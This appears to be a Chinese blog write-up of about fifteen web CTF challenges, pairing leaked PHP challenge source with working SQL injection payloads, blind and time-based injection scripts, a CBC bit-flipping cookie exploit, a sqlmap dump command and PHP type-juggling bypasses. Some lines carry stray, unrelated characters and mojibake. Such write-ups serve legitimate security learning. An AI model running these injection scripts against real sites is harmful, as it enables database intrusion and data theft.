一.簡單的登錄題
進(jìn)入首頁以后是一個(gè)登錄框
然后抓包的時(shí)候發(fā)現(xiàn)一個(gè)小提示:
然后直接get這個(gè)文件下來看看.
其中test.php的源代碼如下所示:
define("SECRET_KEY", '***********');#秘鑰
define("METHOD", "aes-128-cbc");#cbc模式,一個(gè)模塊加密以后拿去與下一個(gè)模塊異或,然后下一個(gè)模塊再加密
error_reporting(0);#設(shè)置錯(cuò)誤報(bào)告等級(jí),關(guān)掉所有的錯(cuò)誤報(bào)告
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}#sql注入檢查
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;#生成隨機(jī)iv
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);#明文先進(jìn)行序列化
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);#進(jìn)行加密
setcookie("iv", base64_encode($iv));#iv進(jìn)行編碼以后放在cookie里面
setcookie("cipher", base64_encode($cipher));#cipher進(jìn)行加密以后放在cookie里面
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){#檢查cookie里面這兩個(gè)值是不是
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){#嘗試解密
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");#解密后反序列化
$sql="select * from users limit ".$info['id'].",0";#limit的用法是只查這一個(gè)用戶開始之后偏移量為0的數(shù)據(jù)
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){#如果id不為空,檢查并接收id
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);#創(chuàng)建一個(gè)數(shù)組
login($info);#這樣的話其實(shí)就是拿id來加密了.....
echo '<h1><center>Hello!</center></h1>';
}else{#如果id為空,就檢查iv以及cipher,不為空就進(jìn)行檢查
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{#啥都沒有就相當(dāng)于重新刷新首頁
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}
看了源代碼發(fā)現(xiàn)這是個(gè)aes-128-cbc模式加密代碼.
截取一個(gè)包看看
可以看到有ID的話其實(shí)只會(huì)顯示hello,我們要進(jìn)行sql查詢flag就不能有id,但要有iv和cipher....
接下來看看大佬的解決方案怎么寫的,代碼如下:
# -*- coding:utf8 -*-
from base64 import *
import urllib
import requests
import re
def denglu(payload,idx,c1,c2):
url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
payload = {'id': payload}#ID是payload
r = requests.post(url, data=payload)發(fā)送post包出去,經(jīng)測試賦值的時(shí)候就會(huì)出去了
Set_Cookie=r.headers['Set-Cookie']
iv=re.findall(r"iv=(.*?),", Set_Cookie)[0]#取下iv
cipher=re.findall(r"cipher=(.*)", Set_Cookie)[0]#取下cookie
iv_raw = b64decode(urllib.unquote(iv))#解碼
cipher_raw=b64decode(urllib.unquote(cipher))#解碼,unquote是把一些特殊字符的轉(zhuǎn)義給解析回來
lst=list(cipher_raw)
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
cookie_new={'iv': iv,'cipher':cipher_new}
r = requests.post(url, cookies=cookie_new)
cont=r.content#r.content是返回包的內(nèi)容
plain = re.findall(r"base64_decode\('(.*?)'\)", cont)[0]
plain = b64decode(plain)#解密明文
first='a:1:{s:2:"id";s:'
iv_new=''
for i in range(16):
iv_new += chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
iv_new = urllib.quote(b64encode(iv_new))
cookie_new = {'iv': iv_new, 'cipher': cipher_new}
r = requests.post(url, cookies=cookie_new)
rcont = r.content
print rcont#做兩次是為啥
denglu('12',4,'2','#')
denglu('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')#開始進(jìn)行sql查詢,這里可能需要加密知識(shí)不是很懂...
denglu('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0),6,'2','u')
這里涉及加密的內(nèi)容,以后補(bǔ)上吧....
二.后臺(tái)登錄
進(jìn)去了以后直接f12,看到提示
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密碼錯(cuò)誤!';
}
可以看到輸入的點(diǎn)只有password一個(gè),然后進(jìn)行了md5加密.
這里科普一下php的md5函數(shù).
運(yùn)行實(shí)例如下:
可以看到raw這個(gè)參數(shù)是用來控制輸出格式的,True的時(shí)候輸出是16進(jìn)制轉(zhuǎn)字符串的結(jié)果,false的時(shí)候是輸出普通16進(jìn)制的結(jié)果.
那也就是說要直接有某個(gè)字符串,md5后轉(zhuǎn)換為16進(jìn)制包含
' or '
就可以了.Google了一波,發(fā)現(xiàn)已經(jīng)有人發(fā)現(xiàn)這樣的字符串了:
ffifdyop
操作如下:
flag就出來了.
三.加了料的報(bào)錯(cuò)注入
這道題一上來就是要你post username以及password然后直接上
直接抓包的話是Get請(qǐng)求,所以需要在hackbar里面填數(shù)據(jù),經(jīng)過測試發(fā)現(xiàn)username以及password都是有注入點(diǎn)的.接著進(jìn)行注入點(diǎn)fuzz測試一下過濾了哪些,發(fā)現(xiàn)username過濾了()等符號(hào),但是沒有過濾updatexml最域,password過濾了updatexml
于是可以利用這種不同地方過濾規(guī)則不一樣的漏洞,通過http分割注入來進(jìn)行g(shù)et flag.
payload:' and updatexml/*&password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or'1
可以get到數(shù)據(jù)庫名稱是error_based_hpf
接著利用這種分割注入(其實(shí)就是加入注釋符號(hào)而已....)
然后就是查詢表明,數(shù)據(jù)庫名已經(jīng)知道了,所以直接上payload:
payload:1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where (table_schema regexp binary '^error_based_hpf') ),0x7e),3)or'1
這里過濾了=,所以不能直接指定數(shù)據(jù)庫,大佬說用like或者regexp代替,我試了一下like被過濾了,繞過方法可真是多種多樣...
[圖片上傳中...(Selection_001.jpg-bc5522-1550628832873-0)]
然后就是知道兩個(gè)表是ffll44jj,users
接著獲取列.
payload:username=1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where (table_schema regexp binary '^error_based_hpf') and (table_name regexp binary '^ffll44jj') ),0x7e),3)or'1
然后查數(shù)據(jù)
payload:username=' and updatexml/*
&password=*/(1,concat(0x7e,(SELECT value from ffll44jj),0x7e),3)or'1
最終獲取flag{err0r_b4sed_sqli_+_hpf}
四.認(rèn)真一點(diǎn)
該題目首頁如下:
檢測結(jié)果是空格會(huì)被過濾,空格過濾那就是用括號(hào)或者注釋符來代替
逗號(hào)被過濾,直接sql detected,這里大佬說用from for可以代替,學(xué)一波,經(jīng)測試是直接可以select mid(database() from(1) for(5))#選擇數(shù)據(jù)庫名稱1到5位置的字符
然后if沒被過濾,等于號(hào)沒被過濾,然后學(xué)習(xí)一波大佬的盲注腳本
import requests;
import string
url='http://ctf5.shiyanbar.com/web/earnest/index.php'
s=requests.session()
ascii=string.printable
def exploit(payload):
payload=payload.replace(' ',chr(0x0a));
flag=''
for i in range(1,20):
for j in ascii:
temp=j;
data={'id':payload.format(i,temp)};
html=s.post(url,data=data);
if "You are in" in html.content.decode('utf-8'):
if j=='*':
j=' '
flag+=j;
print(flag);
break;
if __name__=='__main__':
exploit("0'oorr(mid(database()from({})foorr(1))='{}')oorr'0");#ctf_sql_bool_blind database name
exploit("0'oorr((select(mid(group_concat(table_name)from({})foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='{}')oorr'0")
exploit("0'oorr((select(mid(group_concat(column_name)from({})foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='{}')oorr'0")
exploit("0'oorr((select(mid((fl$4g)from({})foorr(1)))from(fiag))='{}')oorr'0")
這里第一的exploit是獲取數(shù)據(jù)庫名的,其中的{}老是看不明白,最后debug才發(fā)現(xiàn)原來是留白給后面format填充的.
這個(gè)最好自己寫一遍.....才明白啥意思
整理一下盲注腳本的思路就是不斷用mid函數(shù)注入出來一個(gè)字母再比對(duì)這個(gè)字母是啥就可以了.
總結(jié)下那個(gè)盲注的思路就是利用mid函數(shù)探測每一個(gè)字符担孔,通過一個(gè)個(gè)字符探測最后把那個(gè)flag名稱拼接起來区岗。
五.你真的會(huì)PHP嗎
然后就上burp發(fā)現(xiàn)一個(gè)hint...
直接訪問以后是一些php代碼,應(yīng)該是考php代碼審計(jì)么介。。伯顶。
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxx";
ini_set("display_error", false);
error_reporting(0);
if(!isset($_POST['number'])){
header("hint:6c525af4059b4fe7d8c33a.txt");
die("have a fun!!");
}
foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}
function is_palindrome_number($number) {
$number = strval($number); #Convert any scalar value (string, integer, or double) to a string.
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])){
$info="sorry, you cann't input a number!";
}elseif($req['number']!=strval(intval($req['number']))){
$info = "number must be equal to it's integer!! ";
}else{
$value1 = intval($req["number"]);#. intval()函數(shù). 作用:. 獲取變量的整數(shù)值.
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}
}
echo $info;
從代碼審計(jì)中可以看出碍粥,首先number域不能為空,然后就是不能為純數(shù)字,有is_numeric來判斷,然后就是不能為一個(gè)回文數(shù),這個(gè)是由is_palindrome_number來判斷(PS:數(shù)字的特點(diǎn)是正反序是同一個(gè)數(shù)字),最后該數(shù)的翻轉(zhuǎn)的整數(shù)值應(yīng)該等于它本身的整數(shù)值,最后構(gòu)建payload:0e-0%00....%00是用來繞過那個(gè)isnumber檢查的
注意發(fā)送數(shù)據(jù)的時(shí)候要改成post不用get方法.
六.登陸一下好嘛
這道題提示要用萬能密碼繞過,但是過濾了很多玩意..
然后就是常見的fuzz,這里我自己寫了個(gè)測試fuzz的框架,可以測試特殊字符哪些被過濾了.
import requests;
import string
url='http://ctf5.shiyanbar.com/web/wonderkun/web/login.php'
s=requests.session()
ascii=string.printable
def exploit_test(payload):
data = {'username':payload, 'password':'admin'};
headers={
'User-Agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
'Referer':'http://ctf5.shiyanbar.com/web/wonderkun/web/index.html',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5'
};
html=s.post(url,data=data,headers=headers);
r=html.content.decode("utf-8");
#print(r);
if 'username:'+payload+'</br>' in r:
pass;
else:
print(payload+' was pass');
if __name__=='__main__':
for i in ascii:
exploit_test(i);
測試結(jié)果是:
# was pass
* was pass
/ was pass
| was pass
所有ascii中這四個(gè)字符被過濾了,然后就是各種常見的sql注入函數(shù),懶得搞看看別人的writeup說or,union,select也一樣被過濾,所以'就沒被過濾嘍...
學(xué)一個(gè)新的萬能密碼:''=',如圖
select * from table where username= '''='' and password='''=''
所以到底這是啥意思,一臉懵逼,這里是直接繞過兩個(gè)限制嗎?那其他部分不報(bào)錯(cuò)?
七.Who You Are
這道感覺是日志污染?
然后直接使用x-forwarded-for字段來污染,因?yàn)樵撟侄螘?huì)記錄我們的ip地址給他.記住一句話,要發(fā)送數(shù)據(jù)一定要轉(zhuǎn)成post方法....
然后就是fuzz階段,測到如果是加了','以及后面的內(nèi)容會(huì)被過濾,記得前面代替,的是mid from for.這道題考的是基于時(shí)間的盲注來著.直接上盲注腳本,這里學(xué)習(xí)一波case when then語句,先上一份找數(shù)據(jù)庫名代碼...
import requests;
import string;
import time;
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
s=requests.session()
ascii=string.printable
def exploit_test(payload):
#data = {'username':payload, 'password':'admin'};
flag='';
try1=0;
for i in range(1,5):#這里是建立在已知長度為4的情況下
for j in ascii:
headers = {
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'x-forwarded-for': payload.format(i,j)
};
start_time = time.time();
html = s.post(url, headers=headers);
r = html.content.decode("utf-8");
end_time = time.time();
if end_time - start_time > 8:
print('Now i is %s\n'%i);
flag+=j;
print('Flag:%s'%flag);
break;
else:
try1+=1;
print('%s+%s'%(try1,j));
if __name__=='__main__':
exploit_test("1' and case when (substring((select database()) from '{}' for 1)='{}') then sleep(10) else sleep(0) end and '1'='1");#判斷數(shù)據(jù)庫名稱為web4
探索表數(shù)量代碼如下:
import requests;
import string;
import time;
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
s=requests.session()
ascii=string.printable
def exploit_test(payload):
#data = {'username':payload, 'password':'admin'};
flag='';
try1=0;
for i in range(1,7):
for j in ascii:
headers = {
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'x-forwarded-for': payload.format(j)
};
start_time = time.time();
html = s.post(url, headers=headers);
r = html.content.decode("utf-8");
end_time = time.time();
if end_time - start_time > 8:
print('Now table number is %s\n'%j);
flag+=j;
#print('Flag:%s'%flag);
break;
else:
try1+=1;
print('%s+%s'%(try1,j));
if __name__=='__main__':
#exploit_test("1' and case when (substring((select database()) from '{}' for 1)='{}') then sleep(10) else sleep(0) end and '1'='1");
exploit_test("1' and case when ((select count(TABLE_NAME) from information_schema.tables where table_schema='web4') = {}) then sleep(10) else sleep(0) end and '1'='1");
經(jīng)過探測表數(shù)量為2
總體過程如下:
判斷數(shù)據(jù)庫名稱長度 1' and case when (length((SELECT concat(database())))<5) then sleep(3) else sleep(0) end and '1'='1鳖眼,此句如果執(zhí)行有延遲,則說明數(shù)據(jù)庫名稱小于5個(gè)字符嚼摩,使用<4的時(shí)候钦讳,執(zhí)行不成功,說明數(shù)據(jù)庫長度為4個(gè)字符枕面。
判斷數(shù)據(jù)庫名的各個(gè)字符愿卒,"1' and case when (substring((select database()) from %s for 1)='%s') then sleep(5) else sleep(0) end and '1'='1"%(i,each),其中ii為從第i個(gè)字符開始,for 1為取一個(gè)字符潮秘,each為ascii琼开,從此句可判斷數(shù)據(jù)庫名為web4
查看數(shù)據(jù)庫中表單的數(shù)量,1' and case when ((select count(TABLE_NAME) from information_schema.tables where table_schema='web4') = 2) then sleep(3) else sleep(0) end and '1'='1;此句判斷數(shù)據(jù)庫中有兩個(gè)表唇跨。
判斷數(shù)據(jù)庫表名長度,"1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" % (i)衬衬,其中i為長度买猖。
判斷數(shù)據(jù)庫表名,"1' and case when(ascii(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each)滋尉,其中ii為從第i個(gè)字符開始,for 1為取一個(gè)字符玉控,each為ascii,找到表flag狮惜。
判斷表flag字段高诺,"1' and case when(ascii(substring((select group_concat(column_name separator ';') from information_schema.columns where table_name='flag') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a" % (i,each),得到字段flag碾篡。
判斷表flag虱而,字段flag中內(nèi)容長度,"1' and case when(length(substring((select group_concat(flag separator ';') from flag) from %s for 1))='') then sleep(6) else 0 end and 'a'='a" %i开泽。
獲取flag值牡拇,"1' and (select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(10) else sleep(0) end ) and '1'='1"%(i,str)。
八.因缺思汀的繞過
web題目的思路,看源碼,看請(qǐng)求,看響應(yīng)...
源碼里看到一個(gè)source.txt
所以直接請(qǐng)求這個(gè)文件看看
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "?°′??ˉè??è??????o|??ˉèμ?è‰????";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "?o|??ˉèμ?è‰????";
}
}else{
print "??€é¢—èμ?è‰????";
}
mysql_close($con);
?>
看源碼可以知道一共有三個(gè)繞過條件
- $filter = "and|select|from|where|union|join|sleep|benchmark|,|(|)";整個(gè)條件使用正則表達(dá)式來匹配,然后直接繞過就可以了(' or '1'#)
- if (mysql_num_rows($query) == 1) 這個(gè)是限制查詢出來的數(shù)據(jù)只有一個(gè)數(shù)據(jù)列,使用limit 1就可以了.
- if(_POST['pwd'])這個(gè)要求我們post的pwd字段和目的結(jié)果集中的查詢結(jié)果要一致,大佬們說用group by with rollup來解決這問題,使用這語句以后會(huì)在結(jié)尾插入一個(gè)null,然后使用limit offset語句來查詢這個(gè)null,產(chǎn)生null=null的結(jié)果從而繞過該限制...
payload:uname=1' or 1 group by pwd with rollup limit 1 offset 2 #&pwd=
九:簡單的sql注入之3
這道題莫名其妙的,fuzz之后出現(xiàn)各種結(jié)果,不過要收集好的fuzz材料也是必須的...
然后看了一下說是空格做了特別處理,想起sqlmap的space2comment腳本,直接獲取flag
sqlmap -r 44.txt -script=space2comment --dump -T flag -D web1
十.天下武功唯快不破
這道題目的思路就是http返回包里有一個(gè)flag,經(jīng)過base64編碼的,然后獲取這個(gè)flag解碼以后變成key:flag.b64decode post出去,然后直接獲取真正的flag回來就行了,代碼如下:
import requests
import base64
url = "http://ctf5.shiyanbar.com/web/10/10.php" # 目標(biāo)URL
response = requests.post(url,data={"key":"1"}) # 打開鏈接
flag =str(base64.b64decode((response.headers['FLAG']))).split(':')[1].rstrip("'")
# head = response.headers # 獲取響應(yīng)頭
# flag = base64.b64decode(head['flag']) # 獲取相應(yīng)頭中的Flag
print(flag) # 打印Flag
postData = {'key': flag} # 構(gòu)造Post請(qǐng)求體
result = requests.post(url=url, data=postData) # 利用Post方式發(fā)送請(qǐng)求
# (注意要在同一個(gè)Session中 , 有的時(shí)候還需要設(shè)置Cookies , 但是此題不需要)
print(result.text) #
十一.讓我進(jìn)去
這道題一上來直接看源碼,沒發(fā)現(xiàn)啥,然后看請(qǐng)求響應(yīng)也沒看出啥,一臉懵逼,最后直接看了看writeup發(fā)現(xiàn)是修改cookie參數(shù),我去....
然后直接獲取源碼看下:
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
看下來要獲取flag有幾個(gè)條件...
1是賬號(hào)為admin,密碼不應(yīng)該是admin,二是用戶名密碼加鹽值,md5之后的數(shù)值應(yīng)該和cookie領(lǐng)域getmein的值相等,網(wǎng)上說這道題目是做所謂的hash長度拓展攻擊.
不說了文章看的一臉懵逼,密碼學(xué)鉆進(jìn)去也是深的一撇.....
所以學(xué)大佬最簡單的方法....
還是一臉悶逼...
十二.拐彎抹角
首頁直接給了一段源代碼,如下:
<?php
// code by SEC@USTC
echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';
$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";
$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
$stop = 0;
//這道題目本身也有教學(xué)的目的
//第一穆律,我們可以構(gòu)造 /indirection/a/../ /indirection/./ 等等這一類的
//所以惠呼,第一個(gè)要求就是不得出現(xiàn) ./
if($flag && strpos($URL, './') !== FALSE){
$flag = "";
$stop = 1; //Pass
}
//第二,我們可以構(gòu)造 \ 來代替被過濾的 /
//所以峦耘,第二個(gè)要求就是不得出現(xiàn) ../
if($flag && strpos($URL, '\\') !== FALSE){
$flag = "";
$stop = 2; //Pass
}
//第三剔蹋,有的系統(tǒng)大小寫通用,例如 indirectioN/
//你也可以用?和#等等的字符繞過辅髓,這需要統(tǒng)一解決
//所以泣崩,第三個(gè)要求對(duì)可以用的字符做了限制少梁,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
$flag = "";
$stop = 3; //Pass
}
//第四,多個(gè) / 也是可以的
//所以律想,第四個(gè)要求是不得出現(xiàn) //
if($flag && strpos($URL, '//') !== FALSE){
$flag = "";
$stop = 4; //Pass
}
//第五猎莲,顯然加上index.php或者減去index.php都是可以的
//所以我們下一個(gè)要求就是必須包含/index.php,并且以此結(jié)尾
if($flag && substr($URL, -10) !== '/index.php'){
$flag = "";
$stop = 5; //Not Pass
}
//第六技即,我們知道在index.php后面加.也是可以的
//所以我們禁止p后面出現(xiàn).這個(gè)符號(hào)
if($flag && strpos($URL, 'p.') !== FALSE){
$flag = "";
$stop = 6; //Not Pass
}
//第七著洼,現(xiàn)在是最關(guān)鍵的時(shí)刻
//你的$URL必須與/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
$flag = "";
$stop = 7; //Not Pass
}
if(!$stop) $stop = 8;
echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
$code = str_replace('//Pass '.$i, '//Pass', $code);
for(; $i < 8; $i++)
$code = str_replace('//Pass '.$i, '//Not Pass', $code);
echo highlight_string($code, TRUE);
echo '</body></html>';
這道題題目說的很明顯了,就是要你訪問/index.php,然后有幾個(gè)要求,一個(gè)是不能出現(xiàn)../,./等各種跳字節(jié)符號(hào),一個(gè)是只能用小寫字母,一個(gè)是不能出現(xiàn)注釋符,一個(gè)是不能與/indirection/index.php相同,最后是不能在index.php后面加' . '.所以構(gòu)造一個(gè)index.php/index.php就可以了.
這里介紹一下偽靜態(tài)技術(shù),就是把一些動(dòng)態(tài)網(wǎng)站的url映射成靜態(tài)的資源,當(dāng)訪問靜態(tài)資源時(shí)后臺(tái)自動(dòng)解析洞動(dòng)態(tài)的,這樣是為了提高搜索引擎的seo權(quán)重...
十四.Forms
這道題目是很簡單的做法,直接修改包頭數(shù)據(jù)字段展示源代碼就知道了
那就直接告訴你pin的密碼了而叼,直接賦值給PIN就行了身笤。。葵陵。液荸。
十五:天網(wǎng)管理系統(tǒng)
這道題目做法也是直接隱藏在網(wǎng)絡(luò)分組里面了,所以直接看分組
提示我們要直接填充一個(gè)username,使得username md5后的值可以0匹配脱篙,網(wǎng)上一波搜索說是以oe開頭的md5值就好隨手找了一個(gè)娇钱。。绊困。s155964671a
出現(xiàn)一個(gè)新的url,所以直接訪問出現(xiàn)一個(gè)代碼文搂。。秤朗。
所以直接看到要對(duì)所謂的password字段做一個(gè)所謂的反序列化煤蹭,使得出來的user字段和pass字段等于某個(gè)值,但是沒說是什么值取视,所以看了writeup說是PHP中bool類型的true跟任意字符串可以弱類型相等硝皂。因此我們可以構(gòu)造bool類型的序列化數(shù)據(jù) ,無論比較的值是什么作谭,結(jié)果都為true稽物。(a代表array,s代表string折欠,b代表bool姨裸,而數(shù)字代表個(gè)數(shù)/長度)
構(gòu)造password值為: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
趕腳PHP還是要好好學(xué)學(xué)。怨酝。傀缩。。农猬。
十六:忘記密碼了
這題首頁要求輸入郵箱赡艰,給了郵箱有給出step2.php的URL,訪問URL又自動(dòng)跳入step1.php的頁面輸入郵箱斤葱,所以只能抓包看看所謂step2.php代碼有沒有了慷垮,代碼如下:
Frame 198: 334 bytes on wire (2672 bits), 334 bytes captured (2672 bits) on interface 0
Ethernet II, Src: Netgear_03:8a:d1 (e0:91:f5:03:8a:d1), Dst: AsixElec_be:23:02 (00:0e:c6:be:23:02)
Internet Protocol Version 4, Src: 106.2.25.10, Dst: 192.168.1.29
Transmission Control Protocol, Src Port: 80, Dst Port: 55251, Seq: 1449, Ack: 429, Len: 268
[2 Reassembled TCP Segments (1716 bytes): #197(1448), #198(268)]
Hypertext Transfer Protocol
HTTP/1.1 200 OK\r\n
Date: Tue, 02 Apr 2019 06:45:42 GMT\r\n
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29\r\n
X-Powered-By: PHP/5.3.29\r\n
Content-Length: 1511\r\n
Connection: close\r\n
Content-Type: text/html\r\n
\r\n
[HTTP response 1/1]
[Time since request: 0.040935000 seconds]
[Request in frame: 196]
[Request URI: http://ctf5.shiyanbar.com/10/upload/step2.php?email=youmail@mail.com&check=???????]
File Data: 1511 bytes
Line-based text data: text/html (55 lines)
<br />\n
<b>Notice</b>: Use of undefined constant email - assumed 'email' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>2</b><br />\n
<br />\n
<b>Notice</b>: Use of undefined constant check - assumed 'check' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>5</b><br />\n
<meta http-equiv=refresh content=0.5;URL="./step1.php">check error!<!DOCTYPE html>\n
<html>\n
<head>\n
\t<meta charset="utf-8" />\n
\t<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />\n
\t<meta name="renderer" content="webkit" />\n
\t<meta name="admin" content="admin@simplexue.com" />\n
\t<meta name="editor" content="Vim" />\n
\t<title>logic</title>\n
\t<style type="text/css">\n
\t\tbody,html{\n
\t\t\tposition: relative;\n
\t\t\theight: 100%;\n
\t\t\twidth: 100%;\n
\t\t\tpadding: 0;\n
\t\t\tmargin: 0;\n
\t\t\tbackground-color: #272822;\n
\t\t\tcolor: #fff;\n
\t\t}\n
\t\tform{\n
\t\t\tposition: absolute;\n
\t\t\ttop: 50%;\n
\t\t\tleft: 50%;\n
\t\t\twidth: 400px;\n
\t\t\tmargin: -70px -200px;\n
\t\t}\n
\t\tform input{\n
\t\t\tdisplay: block;\n
\t\t\tmargin: 10px auto;\n
\t\t\twidth: 100%;\n
\t\t\tborder: none;\n
\t\t\theight: 2rem;\n
\t\t\tborder-radius: 5px;\n
\t\t}\n
\t</style>\n
</head>\n
<body>\n
\t<form action="submit.php" method="GET">\n
\t\t<h1>\346\211\276\345\233\236\345\257\206\347\240\201step2</h1>\n
\t\temail:<input name="emailAddress" type="text" <br />\n
<b>Notice</b>: Use of undefined constant email - assumed 'email' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>49</b><br />\n
value="youmail@mail.com" disable="true"/></br>\n
\t\ttoken:<input name="token" type="text" /></br>\n
\t\t<input type="submit" value="\346\217\220\344\272\244">\n
\t</form>\n
</body>\n
</html>\n
\n
\n
\n
\n
可以看到他提交表格給了submit.php揖闸,但是無法直接訪問submit.php。料身。汤纸。
